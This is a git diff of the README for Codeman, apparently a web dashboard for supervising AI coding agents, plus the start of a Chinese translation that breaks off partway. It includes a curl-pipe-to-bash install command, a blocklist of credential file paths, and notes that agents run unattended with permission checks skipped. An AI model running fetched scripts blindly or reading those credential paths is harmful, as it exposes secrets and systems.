-mkdir -p ~/.config/systemd/user && printf '[Unit]\nDescription=Codeman Web Server\nAfter=network.target\n\n[Service]\nType=simple\nExecStart=%s %s/dist/index.js web\nRestart=always\nRestartSec=10\n\n[Install]\nWantedBy=default.target\n' "$(which node)" "$HOME/.codeman/app" > ~/.config/systemd/user/codeman-web.service && systemctl --user daemon-reload && systemctl --user enable --now codeman-web && loginctl enable-linger $USER
+mkdir -p ~/.config/systemd/user
+cat > ~/.config/systemd/user/codeman-web.service << EOF
+[Unit]
+Description=Codeman Web Server
+After=network.target
+
+[Service]
+Type=simple
+ExecStart=$(which node) $HOME/.codeman/app/dist/index.js web
+Restart=always
+RestartSec=10
+
+[Install]
+WantedBy=default.target
+EOF
+systemctl --user daemon-reload
+systemctl --user enable --now codeman-web
+loginctl enable-linger $USER
 ```
 
 **macOS (launchd):**
 ```bash
-mkdir -p ~/Library/LaunchAgents && printf '<?xml version="1.0" encoding="UTF-8"?>\n<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n<plist version="1.0"><dict><key>Label</key><string>com.codeman.web</string><key>ProgramArguments</key><array><string>%s</string><string>%s/dist/index.js</string><string>web</string></array><key>RunAtLoad</key><true/><key>KeepAlive</key><true/><key>StandardOutPath</key><string>/tmp/codeman.log</string><key>StandardErrorPath</key><string>/tmp/codeman.log</string></dict></plist>\n' "$(which node)" "$HOME/.codeman/app" > ~/Library/LaunchAgents/com.codeman.web.plist && launchctl load ~/Library/LaunchAgents/com.codeman.web.plist
+mkdir -p ~/Library/LaunchAgents
+cat > ~/Library/LaunchAgents/com.codeman.web.plist << EOF
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
+  "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+  <key>Label</key>
+  <string>com.codeman.web</string>
+  <key>ProgramArguments</key>
+  <array>
+    <string>$(which node)</string>
+    <string>$HOME/.codeman/app/dist/index.js</string>
+    <string>web</string>
+  </array>
+  <key>RunAtLoad</key><true/>
+  <key>KeepAlive</key><true/>
+  <key>StandardOutPath</key>
+  <string>/tmp/codeman.log</string>
+  <key>StandardErrorPath</key>
+  <string>/tmp/codeman.log</string>
+</dict>
+</plist>
+EOF
+launchctl bootstrap gui/$(id -u) ~/Library/LaunchAgents/com.codeman.web.plist
 ```
 </details>
 
@@ -76,7 +103,7 @@ mkdir -p ~/Library/LaunchAgents && printf '<?xml version="1.0" encoding="UTF-8"?
 wsl bash -c "curl -fsSL https://raw.githubusercontent.com/Ark0N/Codeman/master/install.sh | bash"
 ```
 
-Codeman requires tmux, so Windows users need [WSL](https://learn.microsoft.com/en-us/windows/wsl/install). If you don't have WSL yet: run `wsl --install` in an admin PowerShell, reboot, open Ubuntu, then install your preferred AI coding CLI inside WSL ([Claude Code](https://docs.anthropic.com/en/docs/claude-code) or [OpenCode](https://opencode.ai)). After installing, `http://localhost:3000` is accessible from your Windows browser.
+Codeman requires tmux, so Windows users need [WSL](https://learn.microsoft.com/en-us/windows/wsl/install). If you don't have WSL yet: run `wsl --install` in an admin PowerShell, reboot, open Ubuntu, then install your preferred AI coding CLI inside WSL ([Claude Code](https://docs.anthropic.com/en/docs/claude-code), [OpenCode](https://opencode.ai), or [Codex](https://developers.openai.com/codex/cli)). After installing, `http://localhost:3000` is accessible from your Windows browser.
 </details>
 
 ---
@@ -154,6 +181,8 @@ Watch background agents work in real-time. Codeman monitors agent activity and d
 - **Auto-behavior** — windows auto-open on spawn, auto-minimize on completion, tab badge shows "AGENT" or "AGENTS (n)" count
 - **Nested agents** — supports 3-level hierarchies (lead session -> teammate agents -> sub-subagents)
 
+**Agent Teams** — first-class support for Claude Code's native multi-agent teams (`CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`). `TeamWatcher` polls `~/.claude/teams/`, matches teammates to their lead session, and surfaces them as live subagent windows with **team-aware idle detection** — so the Respawn Controller won't fire while teammates are still working. See [`docs/agent-teams/`](docs/agent-teams/).
+
 ---
 
 ## Zero-Lag Input Overlay
@@ -185,12 +214,27 @@ WATCHING → IDLE DETECTED → SEND UPDATE → /clear → /init → CONTINUE →
 ```
 
 - **Multi-layer idle detection** — completion messages, AI-powered idle check, output silence, token stability
+- **Auto-resume on usage limit** *(opt-in, off by default)* — when Claude halts on a subscription limit ("You've hit your limit · resets 3pm"), Codeman parses the reset time, waits it out plus a 2-minute safety buffer, then dismisses the rate-limit dialog and sends `continue` — so an overnight run survives the 5-hour window instead of stalling until morning. Recognizes every Claude Code limit-message format, retries if still limited, survives Codeman restarts, and holds respawn cycles while paused so `/clear` can't wipe the waiting conversation. Enable per session at the top of the Respawn tab
 - **Circuit breaker** — prevents respawn thrashing when Claude is stuck (CLOSED -> HALF_OPEN -> OPEN states, tracks consecutive no-progress and repeated errors)
 - **Health scoring** — 0-100 health score with component scores for cycle success, circuit breaker state, iteration progress, and stuck recovery
 - **Built-in presets** — `solo-work` (3s idle, 60min), `subagent-workflow` (45s, 240min), `team-lead` (90s, 480min), `ralph-todo` (8s, 480min), `overnight-autonomous` (10s, 480min)
 
 ---
 
+## Orchestrator Loop
+
+Beyond single-session respawn, the **Orchestrator** turns a high-level goal into a phased plan and drives it to completion across multiple agents — a state machine that runs `idle → planning → approval → executing → verifying → (replanning) → completed`.
+
+- **Plan, then execute** — generates a phased plan from your goal and pauses for approval before touching anything; reject with feedback to regenerate
+- **Per-phase verification gates** — each phase is verified before the next begins; on failure the orchestrator replans instead of barreling ahead
+- **Multi-agent execution** — fans phases out to team agents / a task queue, coordinating work too big for one session
+- **Crash-safe** — full state persists under the `orchestrator` key in `state.json`, so it survives restarts
+- **Driven from the UI or API** — the Orchestrator panel, or `POST /api/orchestrator/start` → `/approve` → `/status` (10 endpoints)
+
+> Distinct from Ralph (a single-session autonomous loop): the orchestrator coordinates multi-phase, multi-agent execution. Full design: [`docs/orchestrator-loop-architecture.md`](docs/orchestrator-loop-architecture.md).
+
+---
+
 ## Multi-Session Dashboard
 
 Run **20 parallel sessions** with full visibility — real-time xterm.js terminals at 60fps, per-session token and cost tracking, tab-based navigation, and one-click management.
@@ -203,6 +247,17 @@ Run **20 parallel sessions** with full visibility — real-time xterm.js termina
 
 Every session runs inside **tmux** — sessions survive server restarts, network drops, and machine sleep. Auto-recovery on startup with dual redundancy. Ghost session discovery finds orphaned tmux sessions. Managed sessions are environment-tagged so the agent won't kill its own session.
 
+### Hostname-Aware Window Title
+
+Running Codeman on multiple hosts (laptop, dev box, NAS)? The browser tab title is `codeman:<hostname>` so you can tell which backend each tab points at without clicking in:
+
+```bash
+codeman web                                # codeman:<os.hostname()>
+codeman web --title-hostname dev-box       # codeman:dev-box (manual override for noisy hostnames)
+```
+
+The title is templated into the served HTML on first byte, so it's correct from the very first paint and works without JavaScript. The same hostname prefix is applied to the tab-flash format (`⚠️ (N) codeman:<host>`) and to OS-level desktop notifications (`codeman:<host>: <event>`), so cross-host alerts in the system notification center are also unambiguous.
+
 ### Smart Token Management
 
 | Threshold | Action | Result |
@@ -236,6 +291,20 @@ PTY Output → 16ms Server Batch → DEC 2026 Wrap → SSE → Client rAF → xt
 
 ---
 
+## More Features
+
+- **Self-update** — git-clone installs under systemd/launchd update in place from **App Settings → Updates**: it detects the latest release, auto-stashes a dirty tree, and streams build progress across the service restart (npm installs report as non-updatable)
+- **Multi-CLI** — run **Claude Code**, **OpenCode**, or **Codex** per session; env-var prefixes auto-gate (`CLAUDE_CODE_*` vs `OPENCODE_*` vs `CODEX_*`). See [`docs/opencode-integration.md`](docs/opencode-integration.md)
+- **Effort & Ultracode** — set a per-session default effort (`low`–`max`) or enable **ultracode** (dynamic multi-agent workflows). Soft defaults only — switchable anytime with `/effort` in-session. Extended-thinking budget is configurable too
+- **Voice input** — dictate prompts with Deepgram Nova-3 (Web Speech API fallback): toggle recording, auto-silence stop, live level meter (`Ctrl+Shift+V`)
+- **Image input** — paste or drag-and-drop images straight into a session
+- **Gesture control** *(opt-in)* — a MediaPipe hand-tracking overlay to grab/drag session windows and pinch buttons, hands-free. Enable with `CODEMAN_GESTURE=1` + App Settings → Display
+- **Multi-monitor span** *(macOS)* — one click opens a browser window maximized across all displays, so floating agent/gesture panels can cross the physical seam
+- **CJK / IME input** — full composition support for Chinese / Japanese / Korean
+- **OS notifications & hostname-aware titles** — desktop alerts and tab titles are prefixed `codeman:<host>` so multi-host setups stay unambiguous
+
+---
+
 ## Remote Access — Cloudflare Tunnel
 
 Access Codeman from your phone or any device outside your local network using a free [Cloudflare quick tunnel](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/) — no port forwarding, no DNS, no static IP required.
@@ -357,6 +426,41 @@ When someone authenticates via QR, the desktop shows a notification toast with t
 
 ---
 
+## Security
+
+Codeman launches sessions with `--dangerously-skip-permissions`, so the web UI is by design a remote-code-execution surface for whoever can reach it — the whole security model exists to control *who* that is. Recent hardening (v0.9.0 + v0.9.5) closes the browser-driven attack paths that bite self-hosted dev tools. Full model: [`docs/security-architecture.md`](docs/security-architecture.md). **Found a vulnerability?** See [`SECURITY.md`](SECURITY.md) for private disclosure and the list of known limitations.
+
+### Network & access
+
+- **Loopback by default** — binds `127.0.0.1`, reachable only from the same machine, so the no-password default is safe out of the box. Binding a non-loopback host without `CODEMAN_PASSWORD` *starts but prints a loud warning* with three concrete fixes (set a password, loopback + an authenticated tunnel, or explicitly acknowledge with `--allow-unauthenticated-network`)
+- **Optional auth, real sessions** — HTTP Basic via `CODEMAN_USERNAME` (default `admin`) / `CODEMAN_PASSWORD`. Success issues an opaque 256-bit `codeman_session` cookie (`randomBytes(32)`) — validated server-side, not client-signed, so it can't be forged offline (24h TTL, auto-extend, device-context audit log)
+- **Per-IP rate limiting** — 10 failed attempts → `429` with `Retry-After` (15-min decay). A valid cookie or correct password recovers *immediately* even while an attacker hammers the same IP — important because all tunnel traffic shares one loopback IP. QR auth has its own separate limiter
+
+### Always-on browser hardening (v0.9.5)
+
+These run for **every** request — before auth, even on the default no-password loopback install:
+
+- **Host-header allowlist → blocks DNS rebinding.** A custom domain rebound to `127.0.0.1` is rejected with `403 host not allowed` before any handler runs. Allowed: `localhost`, any IP literal, the bind host, `.ts.net` / `.trycloudflare.com` / `.cfargotunnel.com`, the active managed tunnel, and `CODEMAN_ALLOWED_HOSTS` (add custom reverse-proxy domains here — comma-separated; exact host or leading-dot `.suffix` for subdomains)
+- **Cross-site Origin / CSRF guard.** On state-changing methods (`POST`/`PUT`/`PATCH`/`DELETE`) the `Origin` must pass the same allowlist, else `403 cross-site request blocked`. A *missing* Origin is allowed (so `curl`, the CLI, and Claude Code hooks keep working); only a present-but-foreign or opaque `null` origin is rejected
+- **Raw `text/plain` bodies.** The global parser no longer JSON-parses `text/plain`, closing the CORS "simple request" CSRF vector where a cross-site `fetch` could smuggle JSON into a write route with no preflight
+- **WebSocket origin validation.** The terminal WS upgrade runs the same Host + Origin check and closes with code `4003` on failure (anti-CSWSH)
+- **XSS-escaped agent output.** AI-derived strings (tool names, command arguments, subagent descriptions) are HTML-escaped at every injection site before rendering in the subagent / activity panels
+
+### Input, files & headers
+
+- **Schema-validated inputs** — every API body is checked with Zod v4 schemas; a `CLAUDE_CODE_*` / `OPENCODE_*` / `CODEX_*` env-prefix allowlist gates which settings each CLI can receive
+- **Path containment** — file routes `realpath` before boundary checks (no TOCTOU); `..`, absolute paths, and symlinks resolving outside the working dir are rejected. Caps: 10 MB text preview / 50 MB raw & download; `/api/download` blocklists sensitive paths (`.env`, `*credentials*`, `~/.ssh/`, `.aws/credentials`). SVG/HTML is served `octet-stream` + `nosniff` + attachment so it downloads rather than executes
+- **Security headers** — `Content-Security-Policy` (`default-src 'self'`, every exception enumerated), `X-Content-Type-Options: nosniff`, `X-Frame-Options: SAMEORIGIN`, HSTS over HTTPS, and CORS reflected **only** for `localhost` / `127.0.0.1` / `::1`
+
+### Supply chain & isolation
+
+- **Pinned & verified deps** — security-sensitive transitive deps are forced to patched versions via npm `overrides`; lockfile integrity is checked on every commit/PR (all entries resolve to `registry.npmjs.org` with `sha512` hashes). Public assets are NUL-byte-scanned and `node --check`-validated in CI
+- **Multi-instance isolation** — `CODEMAN_INSTANCE` scopes both the tmux socket (`-L codeman-<name>`) and data dir (`~/.codeman-<name>`) so two instances never attach each other's live sessions
+
+> Mobile login uses single-use, 60-second QR tokens — see [QR Code Authentication](#qr-code-authentication) above for the full design (it addresses all 6 flaws from USENIX Security 2025's QR-login study).
+
+---
+
 ## SSH Alternative (`sc`)
 
 If you prefer SSH (Termius, Blink, etc.), the `sc` command is a thumb-friendly session chooser:
@@ -373,21 +477,29 @@ Single-digit selection (1-9), color-coded status, token counts, auto-refresh. De
 
 ## Keyboard Shortcuts
 
+> Ctrl bindings also accept Cmd on macOS.
+
 | Shortcut | Action |
 |----------|--------|
-| `Ctrl+Enter` | Quick-start session |
-| `Ctrl+W` | Close session |
-| `Ctrl+Tab` | Next session |
-| `Ctrl+K` | Kill all sessions |
-| `Ctrl+L` | Clear terminal |
+| `Ctrl/Cmd+W` | Kill active session |
+| `Ctrl/Cmd+Tab` | Next session |
+| `Alt/Option+[` / `Alt/Option+]` | Previous / next session |
+| `Alt/Option+1`-`Alt/Option+9` | Switch to tab N (physical keys, so macOS Option layouts work) |
+| `Ctrl+Shift+{` / `Ctrl+Shift+}` | Move active tab left / right |
+| `Ctrl/Cmd+L` | Clear terminal |
 | `Ctrl+Shift+R` | Restore terminal size |
-| `Ctrl/Cmd +/-` | Font size |
-| `Escape` | Close panels |
+| `Ctrl+Shift+V` | Toggle voice input |
+| `Ctrl/Cmd +` / `-` | Font size |
+| `Ctrl/Cmd+?` | Keyboard help |
+| `Shift+Enter` | Insert newline (sent to terminal) |
+| `Escape` | Close panels & modals |
 
 ---
 
 ## API
 
+REST over Fastify — **~140 handlers across 15 route modules**, plus an SSE stream and a WebSocket terminal channel. A representative subset:
+
 ### Sessions
 | Method | Endpoint | Description |
 |--------|----------|-------------|
@@ -409,6 +521,14 @@ Single-digit selection (1-9), color-coded status, token counts, auto-refresh. De
 | `GET` | `/api/sessions/:id/ralph-state` | Get loop state + todos |
 | `POST` | `/api/sessions/:id/ralph-config` | Configure tracking |
 
+### Orchestrator
+| Method | Endpoint | Description |
+|--------|----------|-------------|
+| `POST` | `/api/orchestrator/start` | Start orchestration from a goal |
+| `POST` | `/api/orchestrator/approve` | Approve the generated plan |
+| `GET` | `/api/orchestrator/status` | Current phase + progress |
+| `POST` | `/api/orchestrator/stop` | Stop and clean up |
+
 ### Subagents
 | Method | Endpoint | Description |
 |--------|----------|-------------|
@@ -423,6 +543,9 @@ Single-digit selection (1-9), color-coded status, token counts, auto-refresh. De
 | `GET` | `/api/events` | SSE stream |
 | `GET` | `/api/status` | Full app state |
 | `POST` | `/api/hook-event` | Hook callbacks |
+| `GET` | `/api/system/update/check` | Check for a new release |
+| `POST` | `/api/system/update` | Self-update (git-clone installs) |
+| `POST` | `/api/clipboard` | Push text to all connected browsers (`{text}`) |
 | `GET` | `/api/sessions/:id/run-summary` | Timeline + stats |
 
 ---
@@ -443,11 +566,13 @@ flowchart TB
             S1["Session (PTY)"]
             S2["Session (PTY)"]
             RC["Respawn Controller"]
+            ORC["Orchestrator Loop"]
         end
 
         subgraph Detection["Detection Layer"]
             RT["Ralph Tracker"]
             SW["Subagent Watcher<br/><small>~/.claude/projects/*/subagents</small>"]
+            TW["Team Watcher<br/><small>~/.claude/teams/*</small>"]
         end
 
         subgraph Persistence["Persistence Layer"]
@@ -456,7 +581,7 @@ flowchart TB
         end
 
         subgraph External["External"]
-            CLI["AI CLI<br/><small>Claude Code / OpenCode</small>"]
+            CLI["AI CLI<br/><small>Claude Code / OpenCode / Codex</small>"]
             BG["Background Agents<br/><small>(Task tool)</small>"]
         end
     end
@@ -467,14 +592,17 @@ flowchart TB
     SM --> S1
     SM --> S2
     SM --> RC
+    SM --> ORC
     SM --> SS
     S1 --> RT
     S1 --> SCR
     S2 --> SCR
     RC --> SCR
+    ORC --> SCR
     SCR --> CLI
     SW --> BG
     SW --> SSE
+    TW --> SSE
 ```
 
 ---
@@ -499,13 +627,13 @@ The codebase went through a comprehensive 7-phase refactoring that eliminated go
 | Phase | What changed | Impact |
 |-------|-------------|--------|
 | **Performance** | Cached endpoints, SSE adaptive batching, buffer chunking | Sub-16ms terminal latency |
-| **Route extraction** | `server.ts` split into 13 domain route modules + auth middleware + port interfaces | **−60%** server.ts LOC (6,736 → 2,697) |
-| **Domain splitting** | `types.ts` → 14 domain files, `ralph-tracker` → 7 files, `respawn-controller` → 5 files, `session` → 6 files | No more god files |
-| **Frontend modules** | `app.js` → 9 extracted modules (constants, mobile, voice, notifications, keyboard, CJK input, API, Ralph wizard, subagent windows) | **−24%** app.js LOC (15.2K → 11.5K) |
-| **Config consolidation** | ~70 scattered magic numbers → 9 domain-focused config files | Zero cross-file duplicates |
+| **Route extraction** | `server.ts` split into 15 domain route modules + auth middleware + port interfaces | **−67%** server.ts LOC (6,736 → 2,254) |
+| **Domain splitting** | `types.ts` → 16 domain files, `ralph-tracker` → 7 files, `respawn-controller` → 5 files, `session` → 6 files | No more god files |
+| **Frontend modules** | `app.js` → 18 extracted modules across infra, domain & feature layers | app.js core down to **~3.4K LOC** |
+| **Config consolidation** | ~70 scattered magic numbers → 10 domain-focused config files | Zero cross-file duplicates |
 | **Test infrastructure** | Shared mock library, 12 route test files, consolidated MockSession | Testable route handlers via `app.inject()` |
 
-Full details: [`docs/code-structure-findings.md`](docs/code-structure-findings.md)
+Full details: [`docs/archive/code-structure-findings.md`](docs/archive/code-structure-findings.md)
 
 ---
 
@@ -525,6 +653,14 @@ npm install xterm-zerolag-input
 
 ---
 
+## Versioning
+
+Codeman follows [SemVer](https://semver.org/). What the version number actually
+commits to — and what counts as internal (the HTTP/SSE API, on-disk state,
+experimental features) — is spelled out in
+[`docs/versioning-policy.md`](docs/versioning-policy.md). If you script against
+the HTTP API, pin to an exact version.
+
 ## License
 
 MIT — see [LICENSE](LICENSE)

README.zh-CN.md

@@ -0,0 +1,665 @@
+<p align="center">
+  <img src="docs/images/codeman-title.svg" alt="Codeman" height="60">
+</p>
+
+<h2 align="center">AI 编程智能体的任务控制中心</h2>
+
+<p align="center">
+  <em>Claude Code &bull; OpenCode &bull; Codex —— 统一仪表盘 &bull; 任意设备</em>
+</p>
+
+<p align="center">
+  <a href="README.md">English</a> &bull; <strong>简体中文</strong>
+</p>
+
+<p align="center">
+  <a href="https://opensource.org/licenses/MIT"><img src="https://img.shields.io/badge/License-MIT-1e3a5f?style=flat-square" alt="License: MIT"></a>
+  <a href="https://nodejs.org/"><img src="https://img.shields.io/badge/Node.js-18%2B-22c55e?style=flat-square&logo=node.js&logoColor=white" alt="Node.js 18+"></a>
+  <a href="https://www.typescriptlang.org/"><img src="https://img.shields.io/badge/TypeScript-5.9-3b82f6?style=flat-square&logo=typescript&logoColor=white" alt="TypeScript 5.9"></a>
+  <a href="https://fastify.dev/"><img src="https://img.shields.io/badge/Fastify-5.x-1e3a5f?style=flat-square&logo=fastify&logoColor=white" alt="Fastify"></a>
+  <img src="https://img.shields.io/badge/Tests-2861%20total-22c55e?style=flat-square" alt="Tests">
+</p>
+
+<p align="center">
+  <img src="docs/images/subagent-demo.gif" alt="Codeman — 并行子智能体可视化" width="900">
+</p>
+
+> 本文档由英文版 [`README.md`](README.md) 翻译而来。如有出入，以英文版为准。
+
+---
+
+## 快速开始 — 安装
+
+```bash
+curl -fsSL https://raw.githubusercontent.com/Ark0N/Codeman/master/install.sh | bash
+```
+
+该脚本会在缺失时自动安装 Node.js 和 tmux，把 Codeman 克隆到 `~/.codeman/app` 并完成构建。
+
+你至少需要安装一个 AI 编程 CLI —— [Claude Code](https://docs.anthropic.com/en/docs/claude-code)、[OpenCode](https://opencode.ai) 或 [Codex](https://developers.openai.com/codex/cli)（任意组合均可）。安装完成后：
+
+```bash
+codeman web
+# 打开 http://localhost:3000，开启你的第一个会话
+```
+
+<details>
+<summary><strong>作为后台服务运行</strong></summary>
+
+**Linux（systemd）：**
+```bash
+mkdir -p ~/.config/systemd/user
+cat > ~/.config/systemd/user/codeman-web.service << EOF
+[Unit]
+Description=Codeman Web Server
+After=network.target
+
+[Service]
+Type=simple
+ExecStart=$(which node) $HOME/.codeman/app/dist/index.js web
+Restart=always
+RestartSec=10
+
+[Install]
+WantedBy=default.target
+EOF
+systemctl --user daemon-reload
+systemctl --user enable --now codeman-web
+loginctl enable-linger $USER
+```
+
+**macOS（launchd）：**
+```bash
+mkdir -p ~/Library/LaunchAgents
+cat > ~/Library/LaunchAgents/com.codeman.web.plist << EOF
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
+  "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+  <key>Label</key>
+  <string>com.codeman.web</string>
+  <key>ProgramArguments</key>
+  <array>
+    <string>$(which node)</string>
+    <string>$HOME/.codeman/app/dist/index.js</string>
+    <string>web</string>
+  </array>
+  <key>RunAtLoad</key><true/>
+  <key>KeepAlive</key><true/>
+  <key>StandardOutPath</key>
+  <string>/tmp/codeman.log</string>
+  <key>StandardErrorPath</key>
+  <string>/tmp/codeman.log</string>
+</dict>
+</plist>
+EOF
+launchctl bootstrap gui/$(id -u) ~/Library/LaunchAgents/com.codeman.web.plist
+```
+</details>
+
+<details>
+<summary><strong>Windows（WSL）</strong></summary>
+
+```powershell
+wsl bash -c "curl -fsSL https://raw.githubusercontent.com/Ark0N/Codeman/master/install.sh | bash"
+```
+
+Codeman 依赖 tmux，因此 Windows 用户需要 [WSL](https://learn.microsoft.com/en-us/windows/wsl/install)。如果还没装 WSL：在管理员 PowerShell 中运行 `wsl --install`，重启，打开 Ubuntu，然后在 WSL 内安装你偏好的 AI 编程 CLI（[Claude Code](https://docs.anthropic.com/en/docs/claude-code)、[OpenCode](https://opencode.ai) 或 [Codex](https://developers.openai.com/codex/cli)）。安装完成后，即可从 Windows 浏览器访问 `http://localhost:3000`。
+</details>
+
+---
+
+## 移动端优化的 Web UI
+
+在任意手机上都能获得最跟手的 AI 编程智能体体验。完整的 xterm.js 终端、本地回显、滑动导航，以及为真正的远程办公而设计的触控优化界面 —— 而不是把桌面 UI 硬塞进小屏幕。
+
+<table>
+<tr>
+<td align="center" width="33%"><img src="docs/screenshots/mobile-landing-qr.png" alt="移动端 — 带二维码认证的登录页" width="260"></td>
+<td align="center" width="33%"><img src="docs/screenshots/mobile-session-idle.png" alt="移动端 — 带键盘配件栏的空闲会话" width="260"></td>
+<td align="center" width="33%"><img src="docs/screenshots/mobile-session-active.png" alt="移动端 — 活动中的智能体会话" width="260"></td>
+</tr>
+<tr>
+<td align="center"><em>带二维码认证的登录页</em></td>
+<td align="center"><em>键盘配件栏</em></td>
+<td align="center"><em>智能体实时工作中</em></td>
+</tr>
+</table>
+
+<table>
+<tr>
+<th>普通终端 App</th>
+<th>Codeman 移动端</th>
+</tr>
+<tr><td>远程输入延迟 200–300 毫秒</td><td><b>本地回显 —— 即时反馈</b></td></tr>
+<tr><td>字小、无上下文</td><td>完整 xterm.js 终端</td></tr>
+<tr><td>无会话管理</td><td>滑动切换会话</td></tr>
+<tr><td>无通知</td><td>审批 / 空闲时推送提醒</td></tr>
+<tr><td>需手动重连</td><td>tmux 持久化</td></tr>
+<tr><td>看不到智能体</td><td>实时查看后台智能体</td></tr>
+<tr><td>斜杠命令靠复制粘贴</td><td>一键 <code>/init</code>、<code>/clear</code>、<code>/compact</code></td></tr>
+<tr><td>在手机上手打密码</td><td><b>扫二维码 —— 即时认证</b></td></tr>
+</table>
+
+### 安全的二维码认证
+
+在手机键盘上输密码太痛苦了。Codeman 用**密码学安全的一次性二维码令牌**取而代之 —— 扫描桌面上显示的二维码，手机即刻完成认证。
+
+每个二维码编码的是一个包含 6 字符短码的 URL，该短码在服务端映射到一个 256 位密钥（`crypto.randomBytes(32)`）。令牌每 **60 秒**自动轮换，**首次扫描即原子性消费**（重放永远失败），并采用**基于哈希的 `Map.get()` 查找**，不会通过响应时延泄露任何信息。短码只是一个不透明指针 —— 真正的密钥永远不会出现在浏览器历史、`Referer` 头或 Cloudflare 边缘日志中。
+
+该安全设计覆盖了 ["Demystifying the (In)Security of QR Code-based Login"](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin)（USENIX Security 2025，该研究发现 Top-100 网站中有 47 个存在漏洞）所指出的全部 6 个关键二维码认证缺陷：强制一次性使用、短 TTL、密码学随机性、服务端生成、扫描时桌面实时通知（QRLjacking 检测），以及 IP + User-Agent 会话绑定与手动吊销。双层速率限制（按 IP + 全局）使得在 62^6 = 568 亿种可能短码空间内进行暴力破解变得不可行。完整安全分析见：[`docs/qr-auth-plan.md`](docs/qr-auth-plan.md)
+
+### 触控优化界面
+
+- **键盘配件栏** —— 在虚拟键盘上方提供 `/init`、`/clear`、`/compact` 快捷按钮。破坏性命令（`/clear`、`/compact`）需双击确认 —— 第一次点击「上膛」，第二次点击执行 —— 这样在颠簸的通勤路上也不会误触
+- **滑动导航** —— 在终端上左右滑动切换会话（阈值 80px，300ms）
+- **智能键盘处理** —— 键盘弹出时工具栏与终端整体上移（使用 `visualViewport` API，并对 iOS 地址栏漂移设置 100px 阈值）
+- **安全区适配** —— 通过 `env(safe-area-inset-*)` 适配 iPhone 刘海与底部 Home 指示条
+- **44px 触控目标** —— 所有按钮均满足 iOS 人机界面指南的最小尺寸
+- **底部抽屉式 case 选择器** —— 用上滑模态框替代桌面端下拉菜单
+- **原生惯性滚动** —— `-webkit-overflow-scrolling: touch`，丝滑流畅
+
+```bash
+codeman web --https
+# 在手机上打开：https://<你的IP>:3000
+```
+
+> `localhost` 走纯 HTTP 即可。从其他设备访问时请使用 `--https`，或使用 [Tailscale](https://tailscale.com/)（推荐）—— 它提供私有网络，让你无需 TLS 证书即可从手机访问 `http://<tailscale-ip>:3000`。
+
+---
+
+## 实时智能体可视化
+
+实时观看后台智能体工作。Codeman 监控智能体活动，将每个智能体显示在一个可拖拽的浮动窗口中，并用「黑客帝国」风格的动态连接线连回父会话。
+
+<p align="center">
+  <img src="docs/images/subagent-spawn.png" alt="子智能体可视化" width="900">
+</p>
+
+- **浮动终端窗口** —— 每个智能体一个可拖拽、可调整大小的面板，带实时活动日志，逐条展示每一次工具调用、文件读取与进度更新
+- **连接线** —— 用动态绿色线条连接父会话与其子智能体，随智能体的产生与完成实时更新
+- **状态与模型徽标** —— 绿色（活动）、黄色（空闲）、蓝色（已完成）指示，并以 Haiku/Sonnet/Opus 的颜色编码区分模型
+- **自动行为** —— 窗口在产生时自动打开、完成时自动最小化，标签徽标显示「AGENT」或「AGENTS (n)」计数
+- **嵌套智能体** —— 支持 3 层层级（主会话 → 团队成员智能体 → 子-子智能体）
+
+**智能体团队（Agent Teams）** —— 一等公民式支持 Claude Code 原生的多智能体团队（`CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`）。`TeamWatcher` 轮询 `~/.claude/teams/`，将团队成员匹配到其主会话，并以实时子智能体窗口呈现，且具备**团队感知的空闲检测** —— 因此当团队成员仍在工作时，重生控制器不会被触发。详见 [`docs/agent-teams/`](docs/agent-teams/)。
+
+---
+
+## 零延迟输入叠加层
+
+<p align="center">
+  <img src="docs/images/zerolag-demo.gif" alt="Zerolag 演示 —— 本地回显与服务端回显并排对比" width="900">
+</p>
+
+远程访问你的编程智能体时（VPN、Tailscale、SSH 隧道），每次按键通常需要 200–300 毫秒往返。Codeman 实现了一套**受 Mosh 启发的本地回显系统**，无论延迟多高，打字都感觉即时。
+
+xterm.js 内部一个像素级精准的 DOM 叠加层以 0ms 渲染按键。后台转发会以 50ms 防抖批次静默地把每个字符送往 PTY，因此 Tab 补全、`Ctrl+R` 历史搜索以及所有 shell 特性都正常工作。当服务端回显在 200–300ms 后到达时，叠加层无缝消失、真实终端文本接管 —— 整个切换过程不可见。
+
+- **抗 Ink 架构** —— 它作为 `.xterm-screen` 内 z-index 7 的一个 `<span>` 存在，完全不受 Ink 持续重绘屏幕的影响（此前两次使用 `terminal.write()` 的尝试都失败了，因为 Ink 会破坏注入的缓冲区内容）
+- **字体匹配渲染** —— 从 xterm.js 的计算样式读取 `fontFamily`、`fontSize`、`fontWeight` 与 `letterSpacing`，使叠加层文本与真实终端输出在视觉上无法区分
+- **完整编辑** —— 退格、重打、粘贴（多字符）、光标跟踪，输入超过终端宽度时多行换行
+- **重连后持久** —— 未发送的输入通过 localStorage 在页面刷新后保留
+- **默认启用** —— 桌面端与移动端均可用，会话空闲或繁忙时都生效
+
+> 已抽取为独立库：[`xterm-zerolag-input`](https://www.npmjs.com/package/xterm-zerolag-input) —— 见[已发布的包](#已发布的包)。
+
+---
+
+## 重生控制器（Respawn Controller）
+
+自主工作的核心。当智能体进入空闲，重生控制器会检测到，发送继续提示，循环执行上下文管理命令以获得全新上下文，然后恢复工作 —— 可完全无人值守运行 **24 小时以上**。
+
+```
+WATCHING → IDLE DETECTED → SEND UPDATE → /clear → /init → CONTINUE → WATCHING
+```
+
+- **多层空闲检测** —— 完成消息、AI 驱动的空闲检查、输出静默、token 稳定性
